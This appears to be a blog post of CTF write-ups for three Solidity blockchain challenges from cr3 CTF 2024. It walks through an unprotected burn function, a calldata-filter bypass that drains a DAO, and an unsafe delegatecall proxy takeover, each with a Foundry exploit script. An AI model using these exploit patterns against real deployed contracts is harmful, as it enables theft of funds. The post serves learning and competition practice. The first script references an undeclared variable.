Post

cr3 CTF 2024

cr3 CTF blockchain writeups

Intro

cr3 CTF had 3 blockchain challenges, cr3dao, cr3dao_revenge and cr3proxy.

I participated under fnksvb with team Big Beef Bois, solving cr3dao-revenge but unfortunately I did not solve cr3proxy in time. I will write a writeup for all 3 challenges nonetheless.

team

score

Challenges

cr3dao

Two contracts are given, Cr3DAO and Cr3Token, which is an ERC20 token.

The “system” address, which is the owner, starts with 1337 Cr3Tokens and the Cr3DAO starts with 0 Cr3Tokens.

1
2
3
function isSolved() public returns (bool) {
  return (getBalance(owner) == 0 && getBalance(Cr3Dao) == 0);
}

The solve condition checks that the balance of the owner and the Dao is 0.

My teammate jyjh found the unintended solution to this challenge.

1
2
3
4
5
6
7
8
9
function burn(address from, uint256 amount) external {
    _burn(from, amount);
}

function _burn(address from, uint256 amount) internal {
    balanceOf[from] -= amount;
    totalSupply -= amount;
    emit Transfer(from, address(0), amount);
}

Note that Cr3Token::burn() is an external function that calls Cr3Token::_burn(), without any checks of the address from

Hence we can simply burn all the tokens of the owner to solve the challenge.

lol

flag: cr3{m4Pp1ng_c4LlD4ta_tok3n_da0_d1rty}

Solve script (foundry)

Create .env file in base directory with PRIVATE_KEY and CR3_DAO variables corresponding to the values given in the instancer.

Then run the script with

1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.8.10;

import "forge-std/Script.sol";
import "../src/Cr3DAO.sol";
import "../src/Cr3Token.sol";

contract MyScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        Cr3DAO dao = Cr3DAO(vm.envAddress("CR3_DAO"));

        address attacker = vm.addr(deployerPrivateKey);
        vm.startBroadcast(deployerPrivateKey);

        address owner = token.owner();
        token.burn(owner, 1337 * 10 ** token.decimals());
        token.isSolved();

        vm.stopBroadcast();
    }
}

cr3dao_revenge

The challenge creator fixed the unintended solution and released a revenge challenge without the burn function.

1
token.approve(address(dao), 1337);
1
2
// So you stole all the tokens to this DAO.
// Let's see if you can take them out of this super secure DAO : )

Note that in the Deploy script, the system address approves the Cr3DAO to transfer its Cr3Tokens, and the comment in Cr3DAO.sol suggests that we are to transfer tokens from the system address to the DAO first, then to the attacker.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function executeProposal(
    uint256 _proposalId,
    address target,
    uint256 amount
) external payable onlyHighestVoter {
    require(highestVoter != address(0), "Nope, Wrong Address");
    require(
        !proposals[_proposalId].executed,
        "Proposal has already been executed"
    );
    require(
        proposals[_proposalId].votes == 1337 * 10 ** 18,
        "Nope, Not the correct amount"
    );

    proposals[_proposalId].executed = true;
    Cr3Token.transferFrom(target, address(this), amount);

    emit ProposalExecuted(_proposalId);
}

Looking at the rest of the code in Cr3DAO.sol, only Cr3DAO::executeProposal() calls Cr3Token::transferFrom(), and hence it is evident that we have to create a proposal, vote, and execute the proposal with the number of votes being 1337 * 10 ** 18.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function vote(uint256 _proposalId, bytes calldata fs) external {
    require(
        !proposals[_proposalId].executed,
        "Proposal has already been executed"
    );
    require(proposals[_proposalId].id != 0, "Proposal does not exist");


    crc = keccak256(abi.encodePacked(address(this)));

    bytes memory extracted = fs[:4];

    bytes memory toComp = "0x8a8e21bf"; // tansferFrom(address,address,uint256)
    bytes memory toCompII = "0x23b872dd"; // transferFrom(address,address,uint256)


    for (uint i = 0; i < extracted.length; i++) {
        if (extracted[i] == toComp[i]) {
            revert("No rush my friend, No rush : |");
        }
    }
    for (uint i = 0; i < extracted.length; i++) {
        if (extracted[i] == toCompII[i]) {
            revert("No rush my friend, No rush : |");
        }
    }

    (bool success, bytes memory returnData) = address(Cr3Token).call(fs);
    ...
}

Cr3DAO::vote() performs a low level call on Cr3Token with the provided bytes fs as the calldata. It does so after checking that the function selector is not the following (I used this to search the hashes):

4-byte hash function
0x8a8e21bf tansferFrom(address,address,uint256)
0x23b872dd transferFrom(address,address,uint256)

Not sure why tansferFrom is included, but that does not matter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    uint256 returnedBal;
    bytes32 returnedCrc;

    assembly {
        returnedBal := mload(add(returnData, 0x20))
        returnedCrc := mload(add(returnData, 0x40))
    }

    require(returnedCrc == crc, "Try Harder");

    cr3TokenBalance[msg.sender] = returnedBal;
    uint256 weight = cr3TokenBalance[msg.sender];

    require(weight > 0, "Voter must have some Cr3 tokens to vote");
    if (voterWeight[msg.sender] == 0) {
        totalCr3Tokens += weight;
    }

    proposals[_proposalId].votes += weight;
    voterWeight[msg.sender] = weight;

    emit Voted(_proposalId, msg.sender);

    if (proposals[_proposalId].votes > highestVotes) {
        highestVotes = proposals[_proposalId].votes;
        highestVoter = msg.sender;
    }
}

Then, the call to Cr3Token must return a uint256 returnedBal and a bytes32 returnedCrc, with returnedCrc == crc, which as previously calculated, is the keccak256 hash of the DAO’s address. The function then adds the returnedBal as votes to the proposal.

Hence, we must now find a function in Cr3Token such that it returns suitable values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function getBalanceoF(uint id, address add) public view returns (uint, bytes32) {
    require(msg.sender == Cr3Dao, "Not the Intended Contract");

    (uint256 index, address own) = abi.decode(
        msg.data[4:],
        (uint, address)
    );
    require(index == 4, "Nope, Wrong Index");
    require(own == owner, "Nope, Wrong address");
    require(
        balanceoF[index][own] == 1337 * 10 ** decimals,
        "Nope, Wrong balance"
    );


    bytes32 identifier = keccak256(abi.encodePacked(msg.sender));

    return (balanceoF[index][own], identifier);
}

Only Cr3Token::getBalanceoF() fulfils the criteria. Given that the index and own is derived from the calldata that we can specify, the first two checks are trivial. Note that the identifier returned will match the crc as it is also the keccak256 hash of the DAO’s address. We must now understand more about the balanceoF variable to pass the third check.

1
mapping(address => uint256)[] private balanceoF;

balanceoF is actually an array of mappings where some values were pushed to it in the constructor and subsequently deleted. Note that as per the solidity docs, delete when used on a dynamic array simply resets its length to 0.

We must now find a way to push values to balanceoF.

1
2
3
4
function setBalanceoF(uint256 i, address user, uint256 amount) public {
    balanceoF.push();
    balanceoF[i][user] = amount;
}

Cr3Token::setBalanceoF() allows for just that. We can simply specify the index, address and amount to push to balanceoF. Hence, we call setBalanceoF 5 times, and making sure to set balanceoF[4][owner] = 1337 * 10 ** decimals on the 5th time.

With that we should be able to transfer tokens to the DAO, with the following calls:

  1. dao.createProposal("")
  2. dao.vote(1, abi.encodeWithSignature("getBalanceoF(uint256,address)", 4, token.owner())
  3. dao.executeProposal(1, owner, 1337)

With the tokens in the DAO, we look to the Cr3DAO::coolCheck() function to transfer tokens out of the DAO.

1
2
3
4
5
6
7
8
9
10
11
 event Flag(uint[], uint);
 bytes public flagVar;
 function coolCheck(uint8 _oneFa, uint _twoFa, address player) external payable {
     emit Flag(new uint[](_oneFa), 0);
     bytes memory m = new bytes(_twoFa);
     flagVar = m;
     flagVar.push();
     if(_oneFa == uint8(flagVar[flagVar.length - 1])) {
         Cr3Token.transfer(player, 1337*10**18);
     }
 }

The check is relatively simple. It creates a byte array of length _twoFa, sets a storage variable flagVar to the byte array, pushes an item to the byte array, then checks that _oneFa is equal to the last element in the byte array. Given that no values are assigned in the byte array, they are default to 0 and hence we can pass this check by calling the function with _oneFa = 0.

We can now transfer all tokens out of the DAO into an arbitrary address, solving the challenge.

flag: cr3{m4Pp1ng_c4LlD4ta_tok3n_da0_d1rty_F1x3d_H0p3FuLlY}

Solve script (foundry)

Create .env file in base directory with PRIVATE_KEY, CR3_DAO and CR3_TOKEN variables corresponding to the values given in the instancer.

Then run the script with

1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.8.10;

import "forge-std/Script.sol";
import "../src/Cr3DAO.sol";
import "../src/Cr3Token.sol";

contract MyScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        Cr3DAO dao = Cr3DAO(vm.envAddress("CR3_DAO"));
        Cr3Token token = Cr3Token(vm.envAddress("CR3_TOKEN"));

        address attacker = vm.addr(deployerPrivateKey);
        vm.startBroadcast(deployerPrivateKey);

        address owner = token.owner();
        for (uint i; i < 5; i++) {
            token.setBalanceoF(i, token.owner(), 1337 * 10 ** token.decimals());
        }
        dao.createProposal("owo");
        bytes memory data = abi.encodeWithSignature("getBalanceoF(uint256,address)", 4, owner);
        dao.vote(1, data);
        dao.executeProposal(1, owner, 1337);
        dao.coolCheck(0, 1, attacker);
        token.isSolved();
        vm.stopBroadcast();
    }
}

cr3proxy

We are given 2 contracts, Cr3Proxy and Logic.

1
2
3
4
5
contract Logic {
  function coolFunction() public pure returns(bytes memory) {
    return "Cr3CTF";
  }
}

The Logic contract is pretty simple and not useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract Cr3Proxy {

  struct Structure {
    uint8 x;
    uint16 y;
    bool z;
    uint24 a;
    bytes8 bt;
    uint32 b;
  }

  address public owner;
  Structure private str = Structure(1, 13, false, 37, "cafe", 10);
  address public logic;
  bool public cr3 = false;
  ...
}

The Cr3Proxy contract contains many variables in storage, which will be referenced frequently in its functions.

1
2
3
4
5
6
7
8
9
10
```solidity
function isSolved() public view returns (bool) {

 if(cr3 == true) {
   return true;
 } else {
   return false;
 }
}

The solve condition checks that a storage variable, cr3 is set to true in Cr3Proxy. Note that cr3 is initially set to false.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
modifier onlyOwner() {
 require(msg.sender == owner, "Not owner");
 _;
}

function checkValid(bytes calldata flFunc) onlyOwner external {
 address currentOwner = owner;

 (bool success, bytes memory ret) = address(logic).call(flFunc);
 require(success, "Call To The Logic Contract Failed");

 (bytes6 name, bytes32 pass) = abi.decode(ret, (bytes6, bytes32));
 require(address(uint160(uint256(pass))) == currentOwner, "Read More");
 require(name == "cr3", "It's Cr3 CTF");

 cr3 = true;
}

The function Cr3Proxy::checkValid() sets cr3 to true, after checking certain return value from a call to logic and that msg.sender == owner.

Note that logic is initially set to the given Logic contract and cannot fulfil these checks, thus it is likely we must change logic to our own contract.

1
2
3
4
5
6
7
8
9
10
11
modifier onlyReal() {
 require(str.z == true, "Na, Try Harder");
 _;
}

function upgrade(address _newLogic) onlyReal public {
 require(_newLogic != address(this), "Nope");
 require(_newLogic != address(0), "Nope");
 require(str.bt == "ffff", "Final Check");
 logic = _newLogic;
}

The function Cr3Proxy::upgrade() sets the logic to an arbitrary address, but only after checking that str.z == true and str.bt == "ffff".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function update(bytes calldata fs, address add) external {
 address mainOwner = owner;
 address mainLogic = logic;
 bool oldCr3 = cr3;

 if(str.z) {
   (bool suc, ) = address(logic).delegatecall(fs);
   require(suc, "Failed");
   require(cr3 == oldCr3, "No NOOOOOOOO");
 } else {
   (bool success, bytes memory returnData) = address(add).delegatecall(fs);
   require(success, "ERROR, Delegatecall Failed");
   require(mainOwner == owner, "Soon");
   require(mainLogic == logic, "Later");
   require(cr3 == oldCr3, "Nott Yettt");

   (, , bytes8 sig) = abi.decode(returnData, (bool, address, bytes8));
   str.bt = sig;

 }
}

The function Cr3Proxy::update(), with the if block performing a delegatecall on logic, and the else block performing a delegatecall on a user-supplied address.

As per the solidity docs, delegatecall executes code from a different address, but storage still refers to the calling contract’s context. This means that we can use this to modify storage variables in Cr3Proxy, subject to the checks the function does after the delegatecall.

Function Requires Can modify
update (if) str.z == true, modified logic str, logic, owner
update (else) - str
upgrade str.z == true, str.bt == "ffff" logic
checkValid modified owner & logic cr3 (solve condition)

As there are many variables to modify, I created a table to illustrate what each function requires and is able to modify.

The order of functions calls should therefore be as such:

  1. update (else) [changing str.z = true and str.bt = "ffff"]
  2. upgrade [changing logic]
  3. update (if) [changing owner]
  4. checkValid [changing cr3]

With that, we can start crafting our contract for the proxy to delegatecall into.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Attack {
    struct Structure {
        uint8 x;
        uint16 y;
        bool z;
        uint24 a;
        bytes8 bt;
        uint32 b;
    }

    address public owner;
    Structure private str = Structure(1, 13, false, 37, "cafe", 10);
    address public logic;
    bool public cr3 = false;
    
    function one() public returns (bool, address, bytes8) {
        str.z = true;
        return (true, address(0), "ffff");
    }

    ...
}

Ensure that the variables in our contract are the same as the proxy so that the storage slots align.

The function one sets str.z = true and returns (bool, address, bytes8), as it is the return value expected from Cr3Proxy::update(). The bytes8 is set to "ffff" which will set str.bt = "ffff".

Call Cr3Proxy::update() specifying the function signature as "one()" and the address of the Attack contract.

With that, we call Cr3Proxy::upgrade(), setting the logic to our Attack contract.

1
2
3
4
5
 function two(address attacker) public {
     owner = attacker;
 }

The second function of our Attack contract simply sets the owner to a specified address.

Call Cr3Proxy::update() specifying the function signature as "two(address)" and the address that we control in the parameter fs. The parameter add is not used and can be anything.

With that, we have set the owner to our address and can call Cr3Proxy::checkValid().

1
2
3
4
5
6
7
8
9
10
11
12
function checkValid(bytes calldata flFunc) onlyOwner external {
 address currentOwner = owner;

 (bool success, bytes memory ret) = address(logic).call(flFunc);
 require(success, "Call To The Logic Contract Failed");

 (bytes6 name, bytes32 pass) = abi.decode(ret, (bytes6, bytes32));
 require(address(uint160(uint256(pass))) == currentOwner, "Read More");
 require(name == "cr3", "It's Cr3 CTF");

 cr3 = true;
}

As a recap on the checkValid() function, it performs a call into our logic contract and expects a return value of (bytes6 name, bytes32 pass), with pass equal to the owner address (after typecasting) and name equal to “cr3”.

1
2
3
function three(address attacker) public returns (bytes6, bytes32) {
     return ("cr3", bytes32(uint256(uint160(attacker))));
}

Hence, we craft our function fulfilling the above conditions, then calling checkValid with the function signature as "three(address)" and the address that we control in the parameter fs.

cr3 is now true and we have solved the challenge.

flag: cr3{UnS4F3_D3Leg4t3CaLl_0n_Pr0xY_AdDr3Ss}

Solve script (foundry)

Create .env file in base directory with PRIVATE_KEY, CR3_PROXY variables corresponding to the values given in the instancer.

Then run the script with

1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pragma solidity ^0.8.10;

import "forge-std/Script.sol";
import "../src/Cr3Proxy.sol";

contract MyScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        Cr3Proxy proxy = Cr3Proxy(vm.envAddress("CR3_PROXY"));
        

        address attacker = vm.addr(deployerPrivateKey);
        vm.startBroadcast(deployerPrivateKey);

        Attack atk = new Attack();
        proxy.update(abi.encodeWithSignature("one()"), address(atk));
        proxy.upgrade(address(atk));
        proxy.update(abi.encodeWithSignature("two(address)", attacker), address(0));
        proxy.checkValid(abi.encodeWithSignature("three(address)", attacker));
        proxy.isSolved();
        
        vm.stopBroadcast();
    }
}

contract Attack {
    struct Structure {
        uint8 x;
        uint16 y;
        bool z;
        uint24 a;
        bytes8 bt;
        uint32 b;
    }

    address public owner;
    Structure private str = Structure(1, 13, false, 37, "cafe", 10);
    address public logic;
    bool public cr3 = false;
    function one() public returns (bool, address, bytes8) {
        str.z = true;
        return (true, address(0), "ffff");
    }
    function two(address attacker) public {
        owner = attacker;
    }
    function three(address attacker) public returns (bytes6, bytes32) {
        return ("cr3", bytes32(uint256(uint160(attacker))));
    }
}

Afterword

Pretty fun ctf

This post is licensed under CC BY 4.0 by the author.